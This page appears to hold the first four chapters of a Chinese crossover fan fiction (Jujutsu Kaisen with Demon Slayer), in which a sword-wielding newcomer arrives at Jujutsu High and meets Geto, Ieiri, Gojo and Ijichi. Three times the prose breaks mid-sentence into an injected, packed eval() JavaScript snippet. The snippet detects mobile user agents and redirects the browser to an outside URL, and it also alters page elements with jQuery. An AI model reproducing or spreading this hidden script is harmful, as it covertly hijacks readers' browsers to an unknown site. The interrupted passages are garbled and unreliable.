《咒术总监,但五条家赘婿》 1. 第 1 章 2007年4月,东京都立咒术高等专门学校附近。 正值东京地区樱花的盛开期,不过这里很偏僻,没什么人来赏樱。白川琉世在路边躺的快睡着了,才遇到两个活人。 “喂喂!”他忙从草丛中跳出来,“你们是不是咒高的学生?是的话麻烦告诉我路怎么走,我……。” 少年十五六岁,穿着简单的黑外套和牛仔裤,身材极为高大,眉眼冷峻,虽然帅气,神情却自带凶恶气场,经常被误认为不良少年。 他刚想说我迷路了,两个男高就哇一声跑远了,风中隐隐传来“不良”“可怕”之类的词。 “请等一下,我只是问一下咒高怎么走。” 男高逃跑的速度更快了。 白川琉世泄气地停下追逐的脚步,啧了一声,“我?不良?真的假的?” 早知道就存一下班主任的电话号码了。入学报到时间是下午1点,现在都3点了,他在山里转了两个多小时,这里真的有学校吗?要不是能看到诅咒,他真要怀疑是班主任那个极道脸骗他去深山老林噶腰子的。 白川琉世,从出生起就不太幸运的倒霉蛋,一睁开眼就和妈妈相依为命,不会说话的时候就能看到各种各样的怪物。直到妈妈白川绊子带他去世代交好的产屋敷家串门,被鉴定为遗传了绊子的祖父,当时鬼杀队风柱不死川实弥的稀血。 在鬼已经销声匿迹的时代,这种体质竟然对咒灵有同样的吸引力,大大小小的咒灵经常隔三差五闯进他家。为了自保,也为了避免妈妈受到伤害,白川琉世小小年纪就离开了家,由产屋敷家引荐,在一个很封建的咒术家族学习过一段时间。 与此同时,作为鬼杀队后代中唯一一个做着和杀鬼差不多工作的人,他也受到了大家的关心,能随意借鉴鬼杀队前辈们留下的手扎。 杀鬼的呼吸法,也能斩杀咒灵。 为了不连累任何人,在拥有自保能力后,白川琉世独自居住在深山老林,磨练剑术,修习呼吸法,直到被咒术高专一纸通知书录取。 据说鬼只有夜晚才会出现,但咒灵并非如此。 一股湿冷的颤栗从脊背往上窜,空气中弥漫着仿佛青苔在下水管道泡过几百年的难闻味道,或许是特殊体质带来的影响,咒灵能闻到他的味道,他也能闻到咒灵的。 只要有人存在的地方,就会有源源不断的负面情绪形成咒灵。 白川琉世望向下山路途中,逐渐远去的两个小点,解下剑袋,朝他们狂奔而去,用从不良那学来的究极弹舌音大喊,“喂,两个白痴,这里是我的地盘,不欢迎你们,被我抓到就留下你们的小指吧!” “呜哇哇哇!”“不要再追了,我们不会再来了!” …… 嗯,这就是新生,面冷心热的类型吗? 夏油杰打开和夜蛾正道的聊天邮件。 『夜蛾:“新生到了吗?” 夏油:“还没有呢。” 夜蛾:“或许是迷路了,我有任务不能等他了,七海也不在校,麻烦杰你去接他吧。” 夏油:“知道了,那新生的特征告诉我一下。 “等等,是不是一个个子很高的男生,看起来像不良少年。” 夜蛾:“是他,白川琉世,身上一直背着一个剑袋。” 夏油:“不小心迷路到樱井公园了(微笑)。” 夜蛾:“……。” “学校离樱井公园步行要走20分钟。” “你是不是又用咒灵赶路了?” “杰!” 夏油:“怎么会呢老师(微笑)。”』 夏油杰站在会飞的咒灵上,往下俯瞰,一个隐约看的出是长方体的咒灵,脑袋上污秽的杂物像长了肿瘤一样冒出很高,还流着气味恶心的脓水。 是准二级……不,二级咒灵。 咒灵处在两个高中生和新生之间的位置,本身正在追距离很近的高中生。在被新生恐吓后,男高逃命的速度骤然加快,好像真的能看到咒灵一样疯狂逃命,很快就甩开了咒灵一段距离。 与此同时,咒灵忽然停顿了一下,仿佛被什么所吸引一样,调转方向,猛地向新生冲去,是比它刚才还要快的速度。 “为什么,为什么……没有,垃圾……桶。” 咒灵稀里哗啦地往上爬,白川琉世这下看出来它是一个垃圾桶形状的咒灵了。至从遇到过因为扶着的地铁扶手有油腻大叔的汗液、胶带用过一次后怎么都找不到揭开的地方,这种事情产生的咒灵后,这次产生咒灵的理由都显得眉清目秀了。 “山上没有垃圾桶确实很讨厌。”白川琉世不退反进,朝着向下的斜坡俯冲下去,“不过,除此之外,更痛苦的,是没有厕所啊!所以说,我的痛苦在你之上!” 他手握刀柄,压低重心,冲刺的姿势像某种猎食的大型猛兽,迅疾、优美,没有丝毫慌张,一片肉眼可见的蒸汽从口中呼出。 “日之呼吸·一之型·圆舞。” 一声清脆的鸣戈后,有着金色射线纹路的日轮刀刀身变成了红色,灼热的气流向咒灵斩去,热风甚至扑到了在高空中夏油杰的脸上。 这是什么术式,或者是咒具?威力这么大。夏油杰吃惊地睁大眼睛,又降了点高度。然而,他并没有发现任何咒力残秽。 不是咒术吗? 这条小路一边是坡,一边是围住公园的铁丝网,一击圆舞结结实实地砍中了咒灵的身体,差点把它拦腰截断。从咒灵伤口中喷洒出的绿色液体,浇到了白川琉世的腰腹部。旁边的铁丝网吃了点溅射,滋滋两声就融化了。 “诶?诶?诶诶?”带腐蚀的? 这才感到痛,白川琉世看到自己腹部被腐蚀出一个大洞,面积很大。垃圾桶咒灵差点被砍成两半,已经没有了行动能力,本着人道主义精神,白川琉世忍着痛,提刀想给它一个痛快。 “等等,那个可以留给我。”一个扎着丸子头,穿着阔腿裤,留着奇怪的一缕刘海的人,踩着咒灵缓缓降落,他微笑着问,“可不可以?” “你这家伙看半天了吧,”白川琉世握紧刀,刀刃又有变红的趋势,“正常的咒术师应该会帮忙,看你脚下踩的这只咒灵,那只垃圾桶咒灵不会也是你养的吧,诅咒师?” “喂喂,”夏油杰觉得对方的脑回路有点清奇,但一想这种情况,确实让人容易误会,“你是白川琉世吧。我是咒术高专三年级的夏油杰,来接你去学校的。”他有种感觉,如果解释晚一会,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325621|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个看起来行动力超强的新生会马上给他一刀。 “你看,夜蛾老师的邮件。”他把手机递给少年,一副亲和的样子。而且,刚刚白川叫的那么惨,现在又一副一点也不在乎的淡定样子,不会是为了面子强装的吧。 “你的伤口没事吧。” “还好吧,内脏没掉出来。”一边验证这个人到底是不是咒术高专的,白川琉世不忘抬头审视了他一眼,金色的瞳有着流转的,淡淡的金属光泽,把少年的神色又衬出了几分冷淡。 诶?好像真的是咒高的人啊。刚刚那个会不会是入学测验什么的,他的表现不丢人吧?会不会没有给对方留下好印象? 打算和同学们好好相处的白川琉世,因为莫名其妙的担忧导致脸色更差了。 这气氛是怎么回事,夏油杰也莫名严肃了起来。 “刚刚看你气势惊人,我就没有出手,不过还是大意了,应该一上来就把它祓除的。” “那个没关系。”确定了邮件内容后,白川琉世把手机还给夏油杰,“咒灵见过很多了,不过毕竟是咒灵嘛,杀了就行了。倒是你吓我一跳,我不习惯和人打交道,还担心如果是诅咒师要怎么办呢。” “如果是诅咒师,你会怎么办呢。”夏油杰不经意地说。 “当然是告诉老师了。”白川琉世脱口而出,“那个极道脸的大叔应该很能打吧。” 夏油杰失笑,“严格来说,夜蛾老师不算擅长近战的类型。不过,他听到你的话会很欣慰。” 说起话来,感觉没有表现的那么……呃,阴沉?严肃?还是挺单纯的。 “那这个咒灵,你要怎么处理,它快消失了。”垃圾桶咒灵哀嚎的声音越来越小,白川琉世蹲在它身边,“你会饲养咒灵吗?要给它做个急救吗?你真的要养它吗?这个太臭了,你不会要养在学校里吧!会污染空气的。” “不用担心那些。” 白川琉世疑惑地看着他,直到看到夏油杰把咒灵团巴团巴团成个球,塞进嘴里,一脸为难地往下咽。 bru,不是哥们? “前辈?不是……你怎么吃了,这东西不能吃啊你有异食癖吗!” 白川琉世徒劳地向夏油杰伸出手,虚空一捞,但没能阻止他干脆的吞咽。看他咽得比较痛苦,好像这玩意的味道能恶心到让他回味终生,白川琉世只好拍拍新晋前辈的背,不敢问前辈垃圾桶什么味道这种话。 “这是我的术式,咒灵操术,简单来说,吃掉咒灵形成的咒灵玉,我就能拥有这只咒灵并且操控它。” “真是特别的术式。”白川琉世一脸感慨,心想什么倒霉术式,咒灵这玩意能好吃吗。 如果他有这种术式,宁可只用呼吸法和日轮刀杀咒灵。 “没关系,我已经习惯了。” 夏油杰看着这个凑过来,突破了社交距离,用手不停地在第一次见面的人背上往下拍的人。 “我没事了白川。” “但是你的脸色很不好,前辈。” “我真的没事了。” “实在不舒服就吐出来吧,这个垃圾桶咒灵不要也罢。” “你力气太大了,拍的我好痛。” “……私密马赛。” 2. 第 2 章 有着怪刘海,比他还像不良的学长夏油杰,其实是个温柔的人,这是白川琉世得出的结论。 因为腹部受伤,白川琉世就地一躺,从刚刚的生龙活虎变成动一下就要死的重伤患者。夏油杰看着他无比丝滑地瘫在地上,“白川,你刚才不是还没事……吗?” 说着他也犹豫了,毕竟白川的腹部那块确实狼藉一片,随着鲜血的流出与凝固,部分衣服已经和伤口粘在一起了。 “刚才是战斗的时候,那种伤就微不足道。但是现在是平时,正常人受这种伤肯定要死了。所以换言之,我要死了。” 这倒是不至于吧。夏油杰蹲下观察了白川琉世的情况,看他还有精神和自己吵架,也没有很担心。但是,受伤的后辈这种情况下耍赖,也不是不能配合。 “能治疗你的医生不能自由出入高专,所以和我一起坐咒灵回去吧。” 夏油杰召唤了几个小只的咒灵,把白川琉世平移地拉到坐骑上,自己坐在了他旁边。整个过程中,白川琉世坚定地认为人受了这种伤是会濒死的,像个木板一样配合移动,看得夏油杰眼角直抽。 “你也不要太紧张,我们马上就能回去了,我这就给硝子打电话,让她准备好。” “我的性命就拜托你了。” 说完这句话,白川琉世就闭上了眼睛。于此同时,脸色也开始变得苍白。 “喂,白川。”夏油杰不由得也紧张起来,“你感觉怎么样?” 来不及再和白川琉世掰扯了,夏油杰也莫名其妙紧张了起来,两点之间直线最短,代步咒灵提到最极限的速度,不到一分钟就来到了咒高上空。已经被电话通知的家入硝子也如临大敌,提前跑出屋子迎接,不知道会迎接怎样一个还未入学就可能再也没机会入学的尸……身体。 “硝子!” “杰?” 通常有着倦怠眼神的家入硝子,对患者的责任感还是到位的,她指挥夏油杰把白川琉世抬到手术室,用十秒钟把腹部的伤口治好,凝重地问夏油杰,“其他地方呢?” “其他地方……没有吧。但是白川看起来脸色不好,白川,你还有哪里不舒服。” 白川琉世从眩晕中睁开眼,和低头看着自己的两个脑袋大眼瞪小眼,伸手摸了下自己的腹部,“诶?这就好了?” “是我用反转术式对你进行的治疗。”夏油杰旁边棕色头发,右眼角长了颗痣的女生说,“家入硝子,高专三年级生。” “前辈好。我确实听说过反转术式这东西,只是没见过,效果原来这么好。” 从床上跳下来,白川琉世反复摸着自己已经变得光滑的伤口,他的短袖上衣在刚才的救治中已经被家入硝子脱下来了,上半身现在是未着寸缕的状态。他年纪不大,从去年到春天不到一年的时间,足足长高了二十厘米,骨架已经是成年男人的样子了,肌肉却还没来及追上,薄薄一层附在上面。也只有见过他拔刀的夏油杰,知道这具身体拥有多么强大的爆发力。 然而,家入硝子各种人体看太多了,丝毫没有波动,白川琉世也少一根筋的样子,只有夏油杰意识到,白川在恢复行为能力后还在女同学面前衣衫不整的,不太合适,就拿了一件均码白大褂扔给他。 “既然没有别的事,那我们就放心了。你刚才是怎么回事,脸色很差。” “可能是坐你的咒灵晕车了。”看自己也没什么事了,白川琉世跳下床挠了挠下巴,有点不好意思,“很难解释,我的身体状况很唯心。那种伤势正常人应该会生命垂危吧。” 家入硝子道,“算是,腐蚀物体已经侵噬到了腹膜壁层,差一点就进入内脏了,正常人会腹痛难忍,无法行走。” 白川琉世躺回床上,“忽然感觉肚子幻痛了一下。” 家入硝子继续道,“但是咒术师会用咒术强化身体,不算严重的伤势。” 白川琉世从床边上站起来,“我又没事了。” “喂喂,这是什么新型的吸引注意力的方式吗?”夏油杰一脸“揍你哦”的表情。 “这是你的术式吗。”家入硝子问,“潜意识的观念会影响现实?” “不是术式,我没有术式。”白川琉世琢磨着怎么能把话说清楚,“这点大概是与生俱来的特质,潜意识确实能影响关于我自身的一部分现实,但远远达不到心想事成的地步,而且我无法控制这点,有时候也会造成不好的结果。” 夏油杰若有所思,“不是术式吗,那算什么,超能力?” “叫什么都无所谓。举个例子,人类做不到3秒跑完50米,或者铅球扔出30米,但我在拥有人类并不能做到这些的观念之前,确实3秒钟跑完过50米,铅球也不止能扔出30米。” 夏油杰对此非常好奇,“当你了解这些常识之后,还能做到吗?” “可以,已经做到的事并不会因为观念的改变而改变,但如果是在尝试短跑前,就知道人不可能跑出3秒的成绩这一点,那我也做不到3秒跑完50米了。” “我大概了解了,这和你刚才受伤觉得自己要死了,结果真的状态很差一样。”家入硝子一边回应,一边忙自己的事去了,棕发的少女好奇心一直不太充沛。 夏油杰对之前白川斩杀咒灵时的刀法感兴趣,“你之前用的刀法是什么流派的,我从来没有见过。” “这件事说来话长了。”白川琉世盘腿坐在床上,从不知道谁放在床头的一袋棒棒糖中摸出一根放进嘴里,“夜蛾老师了解我的情况。前辈,你知道鬼吗?不是传说里的那种鬼,而是以吃人为生,在大正年间被消灭的鬼。” “好像上课的时候有讲过。”夏油杰陷入回忆,“食人鬼对人们造成了不低于咒灵的伤害,所有的鬼都是依靠鬼王生存的,大正年间,鬼王被消灭了,食人鬼这种东西就消失了。” “是的,没想到你们连这个也教。”白川琉世又往嘴里丢了两个棒棒糖,鼓着脸颊,颇为骄傲地翘起拇指指向自己,“鬼王是由当时的民间组织——鬼杀队歼灭的,恰好我的祖先就是其中一员。鬼杀队剑士传承呼吸法用来杀鬼,但鬼王被消灭后,这种呼吸法就没人再练了。不过,因为我比较倒霉,遗传到了祖先的稀血,这种体质能吸引咒灵,我不得不尝试各种自保的方法,在以前鬼杀队的后人那里寻找修炼呼吸法的方法。顺便提一句,我经常用的日之呼吸是很难学会的,我也是莫名其妙掌握了之后,才听说这件事的。” “是你那奇怪的才能造成的吧。”夏油杰失笑,不用成为咒术师,靠着普通人的身体也能祓除咒灵,这样吗…… 白川琉世从小就测过咒力,他的咒力总量天生非常低微,和普通看不到咒灵的人差不多,只好放弃走传统咒术师的赛道,专注练习呼吸法了。 以前不知道呼吸法大多数人只能修炼一个,因此他很顺利地学会了家传的风呼,通过灶门家学会了水呼和日呼,以及从我妻家学习了雷之呼吸第一式。 看他学会了这么多种呼吸法,产屋敷爷爷非常惊讶,觉得他生错了时代。不过,老人家转念一想,又笑容满面地说自己说话不吉利,琉世还是生在这个时代好啊。 “你们刚才说什么?吸引咒灵的体质?”一旁的家入硝子幽幽地靠过来,“展开讲讲,虽然不太想做额外的研究课题,但这个可以例外。” “我也没搞清楚原理,就好像有的人更招蚊子吸血一样。夜蛾老师让我入学的时候告诉我,学校周围有巨大的结界,咒灵是没办法进来的,因此我才放心地过来了。”白川琉世对家入硝子露出爽朗的笑容,看到家入硝子手上已经摸出了一个采血针,就伸出手臂握紧拳头,“前辈,你是要抽血吗?” “那我就不客气了。” …… 白川琉世打开手机看了眼时间,手机电量要不足了,之前从夏油杰那里加了夜蛾老师的联系方式,被告知要等老师回来才能办理入学手续。 “你先在硝子那里等一会吧。”老师好像很忙,匆匆这么说着就挂断了,白川琉世只好躺在这个很像诊疗室,但又像停尸房的地方消磨时间,把一袋棒棒糖吃得只剩最后一个。 夏油杰似乎有什么事,离开了,家入硝子穿着和年龄格格不入的白大褂,看了匆匆关上的房门一眼,“这家伙最近总是喜欢一个人待着,别在意。” 白川琉世点头,嚼碎了嘴里最后一点糖咽下。终于能体验校园生活了,他感觉既陌生又快乐。因为招咒灵的缘故,他从小没正经在学校上过课,都是在家自修的。在高专上学的话就不怕了,里面的人看样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325622|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子个个身怀绝技,不用担心会被他害死。 春末的傍晚,风寒冷中夹带着丝丝暖意,从半开的窗户吹拂进来,让人昏昏欲睡。白川琉世恍惚间又想起了妈妈的话,“去找和你一样的人吧,琉世会找到接纳自己的同伴的。”半睡半醒间,他听到一阵急促的脚步声,多年战斗的本能让他下意识分析,不是夏油杰,而是一个性格更加张扬的人,由远及近,传来两声呼喊, “硝子,杰?” 有人来了?白川琉世下意识坐好,看向豁然打开的门。 房间的光线是日夜交界时,将暗未暗的色调,打开门的少年戴着墨镜,银白色的短发像月光流淌进来,在看到白川琉世的一瞬间,似乎看到了什么令人震惊的东西,摘下墨镜,三步并两步走过来,弯下腰把脸凑到他面前仔细观察。 白川琉世被他忽然凑近的动作吓了一跳,看清五条悟的脸,准确来说是眼睛的时候,被那双无比奇异的苍天之瞳硬控了。 人在看到不符合现实常理的东西时,大脑会停摆,留出吸收信息的功夫,才能做出反应。尤其是那个不符合常理的东西,有着超出人认知的美丽。这种绚丽的颜色,是种什么蓝?白川琉世在脑内疯狂地搜索色卡中所有的蓝色,很快就因为毫无可比性放弃了。有着白昼的明亮欢欣和夜晚星光璀璨的蓝色,除了人类的肉眼,再也不会有画作和照片能收录这种颜色了。他的脑海里莫名其妙浮现出一行字——那是天空的无限延伸。 不知道过了多久,在那双眼睛的打量和疑惑中,他想开口,但是人在心脏急速跳动的时候是很难开口说话的。谁心跳这么快,我?他想做点什么转移注意力,舌尖紧紧顶着上颚,品味刚才糖果留在口腔的甜味。然而,糖果吃多了,口腔上腭有种又疼又麻的感觉,舌尖一用力,就更明显了。 “……卡密?不,不对。”对方先开口了,声音很轻,“为什么不呼吸,你已经憋气30秒了哦。” “诶?” 白川琉世猛吸一口气。 空气中多了奶油的甜味,似乎是这个人刚吃了奶油蛋糕,不过,被风一吹就消失了。白川琉世大口呼吸,清凉的晚风让他的头脑清醒了一点。 有着极为美丽的眼睛的少年,同样有着帅气的容貌,完美到好像是从动漫里走出来的。 一直住在山上由产屋敷家提供的房子里,白川琉世的生活简单枯燥。为了活命,每天花费大量的时间长跑、攀爬、挥剑、打坐,外加吹葫芦,剩下的时间还要自修学校的课业。虽然人不用去学校上学,但他并不想当一个什么也不懂的文盲。 山里信号不好,空闲时间,他几乎都在看漫画中度过了,可以说,漫画陪他度过了所有的孤独时光。 来到咒术高专,看到五条悟的一瞬间,他忽然找到了如同漫画中走出来的人。这种感觉,就好像,好像世界不停地推迟他的入场资格,但却并不打算让他失望一样。 真是太好了! “杰不在,我不知道他去哪了。”家入硝子背对着他们,整理桌面的器械,“还有,不要在我的实验室放零食了,这次先让白川替你吃掉了。” 家入前辈真是温柔。心跳逐渐恢复了正常的速率,白川琉世捡起床上那袋棒棒糖的包装,“不好意思,吃掉了你的零食,我会再给你买的。白川琉世,新入学的一年级生。” “老子是五条悟,三年级的。”五条悟把墨镜戴上,一副有点走神的样子,“那要记得买哦。” “啊,对了,前辈,你刚才说什么卡密什么的,我没听清。” “你听错了,是听错了吧。刚才你的心跳跳得很快,硝子,他没什么事吧?硝子,硝子?” 长手长脚的少年在家入硝子身后走来走去,说了些没营养的话,家入硝子把台面收拾整洁,像走神也像习惯了一样对此没有任何反应,直到五条悟伸出食指戳了戳少女的肩膀,“他怎么会在你这,受伤了吗?” “嗯,已经被治好了。”家入硝子有着轻微的疑惑,“没想到你还会关心这种事。” “老子一直都很关心同学的。” 少女一副你敢说我还不敢信的表情。 “等七海回来,就为新生办一个超级……”他用力伸开两条胳膊,“盛大的欢迎仪式吧。” 3. 第 3 章 樱花树,水塘,庭院。 五条悟不会认错,是五条家。虽然那棵樱花树没有现在这么粗壮,水塘上石景的摆放也和现在不一样,但五条悟不可能不认识自己住过的院子。 春末是樱花即将败落的时候,总有个十来天,花瓣飘得洋洋洒洒,随着一阵阵风,像下雨一样落得满院子都是。 是什么时候搬进那个院子的?大概是8岁,源于一个必须和父亲谈话,但又不知道要说什么的日子。 “我梦到了一个人,在树下坐着。”在这间屋子里被问到课业时,他望着门外的樱花树出神,不想回答父亲过于详细的盘问,因此指了指樱花树,又举起手,用两只手的食指在眼睛下方往外一划,“这里有金色纹路的男人。” 五条家主疑惑了一下,马上一副喜出望外的表情,“太好了,莫非是……。”他想伸手去抱自己的儿子,那个优秀到让他觉得自己不配成为其父的孩子,然而看到孩子冷淡的神色,又把手尴尬地缩回去,“我们悟果然是受到神明庇佑的孩子。” 年幼的五条悟被套在自己身上无数的“吉兆”弄得很不耐烦,只是嘟囔了声“烦死了”,甩开父亲没完没了的追问,跑出了这庭院。 当月,他按父亲的意思,搬进了这个院子。他问侍女为什么,侍女告诉他一个五条家人都知道的传说。 在千年前的平安京,菅原家同样有一个身具六眼和无下限术式的青年,名字叫觉,很年轻就当上了家主。他的容貌非常俊美,才能也很出众,拥有许多爱慕者。不过,被一个极为邪恶的诅咒师杀死了。 “被杀死?太弱了吧。”年幼的五条悟没想到,刚刚打算了解一下千年前六眼的光辉事迹,结果没说几句他就被杀死了。 “并不是哦。”侍女着急地解释,“觉大人是当时顶尖的咒术师,只是那个诅咒师实在太过强大,是当时公认的最强。”作为教授五条悟常识的人,那位与他有着不远血缘关系的侍女非常认真地措辞,“与我们五条家,当时应该说是菅原家差不多程度的御三家另外两家,也拿他没有办法。当时的藤原家、安倍家的精锐也都不敌那个诅咒师。” “这么厉害?”五条悟难得感兴趣,又带着小孩心性的不服气,“比六眼和无下限还强,是一个怎么样的人?” “只是暂时的最强。”侍女这么说,只是为了衬托接下来神明的强大,“不过,在觉大人死后,一位年轻咒术师出现了,他为觉大人报仇,杀死了诅咒师,成为了当时公认的最强,这个人就是悟大人你梦到的人。相传他是神明的转世,拥有无穷无尽的咒力和一把能除尽世间所有污秽之物的刀,特征是脸颊上有两道金色的纹路。” 这是五条悟听到的,难得令他感兴趣的话题。他追问侍女,“那他是什么神明的转世呢?” “有时间的话,悟大人可以让家主大人带您去后山的神社参拜。”侍女卖了个关子,“我想家主大人也会很高兴的。” “我们家后山的神社,就是供奉他的吗?” “是的哦,悟大人。当时因为讨伐诅咒师,菅原家失去了很多优秀的人才,宅邸也被诅咒师烧的差不多了,是经过神明大人的特别帮助,我们才重新聚集起勇气,另外找了地方居住下来。也是差不多那个年代,家族从菅原改成了五条的姓氏。我们都很感激他呢,因此您能梦到他,是特别的缘分啊。” “只是一个梦而已。”幼童的嗓音有种柔软的沙哑,“再说了,他如果真的那么强,肯定会去找强大的人战斗的,并不是为了给我们报仇,这点很容易就能理解吧。” “悟大人真聪明。”侍女非常宠溺地看着五条悟,“但我们家是不一样的。杀死了诅咒师后,天皇想为神明大人修建神社,民间也有很多人自发供奉他,但神明大人通通拒绝了,只允许我们家供奉他。” “为什么?快点告诉我,不要一直卖关子了。” 侍女只是笑而不语,悟大人还小,他怎么好说的那么明白呢。五条悟讨厌极了这种说话不说明白的含糊,决定把这件事抛在脑后,抓起桌子上的和果子就要出去玩,引起了侍女的惊叫,“悟大人,不要边走边吃东西!” 也许是他生性顽劣,听到这种类似责备的话才会有些舒服,反正比所有人看他都像是看什么了不起的东西一样舒服。 后面的事,其实侍女不说,他也在年岁渐长时从其他人嘴里听了个七七八八。没想到这么有意思的东西,竟然是狗血爱情故事。五条悟本来是嗤之以鼻的,但是没想到,他又梦到过数次相似的梦境,怀疑是老爹给他起的名字不吉利,和那个菅原觉太像,竟然引来了男鬼惦记。 这次或许是有意维持清醒,意识处在半睡半醒间,他又梦到了那个据说是神明转世的男人。 白色的狩衣,黑色的长发,与眼睛同色的,隐没进头发的金色纹路,干脆利落的两条,像这个男人利落好看的下颌线。落樱簌簌下落,他就坐在那一动不动,眼睛出神地望着一个方向。 “喂喂喂。”五条悟试着开口,和以前一样,他只能被动地看着,声音并不能传达给那个男人。 “saturo。”仿佛在耳边炸开一样,梦中的神明第一次开口,那道低沉的,模模糊糊的嗓音似乎是贴着他的鼓膜响起的。五条悟惊醒,睫毛扫过柔软的枕巾,这才发现自己还没关灯,就不知不觉睡着了。 “真是的……。”那个所谓神明的脸,和新来一年级很像,声音也很相似,只是梦里的人年龄更大,而且白川琉世脸上没有纹路。但是不管怎么说,看起来就好像是同一个人。他这是像木之本樱一样,做了什么魔法梦吗,改天回家要问问老头子们五条家有没有混入什么奇怪的血统。 是巧合吗?是巧合吧。理智告诉他,应该不是巧合,但感情上,他拒绝深入思考这件事情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325623|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>摇摇晃晃地从床上爬起来,五条悟准备去关灯,心里想着今天的任务报告还没写,恰好新来的一年级里有个叫伊地知的,长着一副很会写报告的脸,干脆就交给他吧。爬起来时,被漫画书硌了下手,低头一看正是他看着看着就睡着的《不思议游戏》。 这对吗? 这对吗? 整个世界都在暗示什么? 这不对吧! …… 对校园的美好憧憬只能维持到上课前那一刻。 开学三天后,白川琉世趴在桌子上,用脑壳硬扛夜蛾老师的粉笔头。 什么憧憬啊,他为什么会想过这种犹如坐牢的苦日子。之前他情况特殊,老师也都理解,只要按时把寄到家里的卷子再寄到学校就行了,甚至老师根本不在乎他是开卷还是闭卷写的。不管是几点看书,几点练习呼吸法,还是几点出门,都非常自由,他没有有规律地在一个地方按时待着的习惯。 谁能想到这座学校,整座学校,只有六个学生!第一天遇到的三个人已经是三年级的全部了,二年级只有一个人,还没有见过,同级也是同班同学的伊地知洁高,倒是个好人,但好像有点害怕的样子,是不适应环境吗? 说的也是,班主任长了张极道脸,学校又这么偏僻,外观上也不伦不类的,高年级的逃课的逃课,抽烟的抽烟,顶撞老师的顶撞老师。三年级的教室在楼下,上课时经常能听到夜蛾老师大声叫着“悟”和愤怒的关门声。总之,怎么看高专的未来都是一片黑暗啊。 本身一年级的班主任不是夜蛾老师,据说原来的班主任上任前临时殉职了,只好由夜蛾老师顶上。先不说临时殉职这个词多少有点黑色幽默,但死个人在这种地方显得蛮轻松的,有种大家都习惯了的感觉。 “琉世!”现在这个大嗓门大叔也来摧残他了。 “好痛好痛。”忍住抬手接住粉笔头的反应,“夜蛾老师,我又怎么了?”白川琉世一脸无辜地问。 “上课认真听讲。” “是,是。” 空旷的教室里只有两个人,每节课都是精品小班一对二教学,他不得不打起精神应对精力旺盛的夜蛾老师。他已经很想听课了,但不管是文化课知识还是咒术界的知识,白川琉世很早以前都已经学过了。拜他那个奇怪的才能所赐,人在看一本书之前,通常不会先有“我一定看不懂里面的内容”这种潜意识,因此他不管学什么都挺快的。 这节课上完之后,是教咒术史的老师,一位辅助监督,上课从来不提问,也不管学生逃不逃课,开不开小差。等下课铃一响,白川琉世就冲到自动贩卖机前,在可乐那犹豫了会,买了两瓶麦茶。 然而,等他快乐地踏着上课铃回去时,却发现本来他和伊地知紧贴着的桌子,被拉开了一条不大不小的缝隙。伊地知坐在位置上,低着头,在他看向自己时,轻微地瑟缩了一下。 4. 第 4 章 他这是干什么呀!这是干什么呀!这是干什么呀! 酷哥不语,只是轻轻地碎了。 这节课上完就放学了,大概才下午四点左右,吃晚饭还早,又没有社团活动,作业也只写夜蛾老师教的咒术理论和实操就行了。6个人的学校竟然还有专门的教材,也是件很厉害的事了。 “伊地知。”看到同学收拾完书包,白川琉世站起来,低头看着他。 他比伊地知要高二十多厘米,对方显然更直观地感受到了这点,缩着肩膀,头低的快到了胸口,很小声地回答,“怎、怎么了,白川同学。” “你这个样子,是被霸凌过吧。” “……。” 伊地知并没有回答,沉默应对。像白川琉世曾经见过的被欺负的人一样,选择最能保护自己,又不会太折损尊严的反应。 “我们这种人多少都经历过,虽然没人敢霸凌我,但排挤也是无处不在的。” 性格内向、柔顺,却能看到咒灵的伊地知,来到咒高之前会经历什么,不用想也能明白。除了家系出身的咒术师,那些半路加入的,多少都有点青春伤痛。 伊地知只是沉默地站着,看着自己的鞋带,忐忑不安地等待白川琉世大发雷霆。 “其实我也没什么事,就是想问你,你是讨厌我,还是害怕我。不是必须要回答的问题,但对我很重要。” “我没有讨厌白川同学,”伊地知脱口而出,踌躇了片刻,有点自暴自弃地抬头,“我确实,有点害怕白川同学。” 与人对话从来不看对方眼睛的伊地知,匆忙扫了一眼,才发现白川琉世的眼神是温和的,带着笑意。下午的阳光颜色非常浓郁,是深深的琥珀色,被格子窗分割成一块一块的,照在白川琉世的胸口、肩膀、脸上,那双金色的眼睛也融进了阳光中。 “不是讨厌我就好。”白川琉世弯腰去掏桌洞里的东西,掏出了两瓶麦茶,递给伊地知一瓶,“这个是给你的。” “诶?是给我,给我的?” “当然了,这间屋子还有第二个人吗,你不会以为我要孝敬老师吧。” “谢谢!”伊地知鞠躬,双手接过,维持着拿东西的姿势,头也不抬地说,“真的……对不起!” 